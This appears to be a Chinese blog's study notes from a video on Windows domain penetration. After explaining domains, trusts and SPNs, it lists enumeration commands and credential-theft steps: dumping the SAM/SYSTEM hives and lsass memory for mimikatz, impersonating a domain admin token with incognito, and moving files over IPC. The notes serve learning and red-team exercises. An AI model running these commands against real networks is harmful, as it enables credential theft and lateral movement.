@1kbfree
        
        2022-03-26T07:58:05.000000Z
        字数 3027
        阅读 1143
    内网渗透
这篇文章是根据ske师傅的视频写的笔记,视频地址:https://www.bilibili.com/video/av76554533?from=search&seid=11390449822159779985
写这篇文章只是记录看这个视频的笔记,等哪天有实战环境了会自己出一张更详细的
域英文叫DOMAIN,将网络中多台计算机逻辑组织到一起,进行集中管理,这种区别于环境组的逻辑环境叫做域
简单来说,假设我的公司有很多个计算机,然后我想设置一些配置,比如修改密码、设置权限等,只需要对域进行操作,就可以直接更改域下面的计算机,就和团队老大一样的意思,在群里艾特全体成员,说你们明天不用上班一样。方便快速,不用一个一个去说。
在一个机器上装上活动目录(存储了有关网络对象信息,并且让管理员和用户能够轻松的查找和使用这些信息。网络对象可以是用户、群组、电脑、网域控制器、邮件、配置文件、组织单元、树系等)后,这个机器就是一个域控服务器
在一个内网中,可能有很多个域控,他们是没有区分的。
假设你有三个域控制器a、b、c,那么你在a对用户权限进行修改,那么他会复制到b、c里,如果其中一台域控制器发生故障,其他域控还能正常工作的话,整个域还是可以正常运行的。
就是域控制器的用户,域用户的账号密码可以登陆同一域下的任何机器,但是只是普通权限,而非管理员权限。
可以登陆域控制器上,对一切权限进行控制,域管只需要登陆到域上面进行操作,任何就会应用到域机器,而不用去每台电脑前操作。
将不同用户放入不同的分组里,然后对每个组进行一个权限设置,这样子简单方便的对每一台机器进行权限分配,而不用每个去设置。
比如公司下面有子公司,他们都有域,并且处于同一个内网,那么只要子公司的域建立了对母公司的域的信任,那么母公司的域的域用户,就可以登陆到子公司的域,而子公司的域用户不能登陆到母公司的域用户,实战中可能遇到的域不知一个,那么我们可以在当前域查看信任域,然后利用横向渗透登陆到其他域控制器。
nltest查询信用域
nltest在03以后系统自带的
信任域:可以在工作组里查询,查询内网是否有域环境
如下命令就可以查找域控IP所有信任域信息nltest /domain_trusts /all_trusts /v /server:域控IP
用ipconfig /all就可以查找域控IP,如图

然后执行nltest后如图

可能实战中,信任域环境不仅仅一个
知道信任域名字(HACK)后,可以使用如下命令查找详细的信任域信息
nltest /dsgetdc:HACK /server:域控IP

可以用这种办法查找是否存在域环境
Csvde
Csvde是Window Server 2008的内置命令行工具,位于%windir%/system32文件夹中。
使用如下命令查找HACK这个域的详细信息
csvde -setspn hack -f 导出的地址


setspn
spn官方名称是服务主体名称,存着的信息是域内的各种服务器的机器名、服务端口号等
如下命令查找HACK域的spn信息
setspn -T hack -Q */*


用处就是,比如护网期间,获取了域控权限,然后我们可以看域内下面的开发的服务,比如mysql,然后使用域用户登录到那台机器,然后连接mysql就可以看到数据,然后提交到获取护网分数。
dnsdump查找域下名称和IP
dnsdump.exe 域名\域用户 -p 域密码 域控机器名

net假设我们拿下了一个服务器,他是域用户,那么我们可以使用net命令收集一些信息
net user /domain 获取域用户列表net group "domain admins" /domain 获取域管理员列表net group "domain controllers" /domain 查看域控制器net group "domain computers" /domain 查看域机器net group /domain 查询域里面的组


net view 查看同一域内机器列表net view \\ip 查看某IP共享net view \\GHQ 查看GHQ计算机的共享资源列表net view \\domain 查看内网存在多少个域net view \\domain:XYZ 查看XYZ域中的机器列表

nbtscan.exe 192.168.52.0/24

图里的DC就是表示这个是域控机器
如果不存在域的话结果如下

shell)shell)
reg save hklm\system 导出的地址.hivreg save hklm\sam 导出的地址.hiv

然后就会生成sys.hiv和sam.hiv文件

然后使用mimikatz.exe工具读取密码的hash值
mimikatz.exe "lsadump::sam /sam:sam.hiv /system:sys.hiv"
问题1:

然后跑出的hash放md5网站解密出来就是密码了
lsass读取内存hash比如在内网中,有一个域用户和域管登陆了你拿下的shell的机器,那么在本机中会将他们的账号和密码保存到lsass.exe进程里面,那么我们只要把lsass.exe进程抓取出来然后跑hash就可以了
2008前,他都是明文存储的
抓取lsass.exe进程为lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后使用mimikatz.exe将起读取
mimikatz.exe "sekurlsa::minidump lsass.dmo" "log" "sekurlsa::logonpasswords"

在目标
shell中获取信息,然后放到本地用工具跑出这些数据,可以防止被拦截。


下载地址:
incognito.exe list_tokens -uincognito.exe execute -c "HACK/Administrator" cmd.exe窃取HACK/Administrator这个域管的凭证,放到cmd.exe进程,这样子我们的cmd就是域管的权限了

1、因为远程登录目标桌面容易被管理员发现,如你将他挤下或者管理员突然间登录进来 
2、目标管理员可能对服务器禁用远程登录
那么我们可以建立ipc连接,建立了ipc连接的话我们可以对目标进行文件的下载和上传,以及执行命令
ipc连接
net use \\你拿下的服务器ip /u:用户名 密码

在ipc连接下看目录是这样的

将nbrscan.exe放到windows\temp目录下

将hash.txt下载下来

这里直接粘贴了=v=


比如你上传的东西很大,那么我们可以使用这种办法
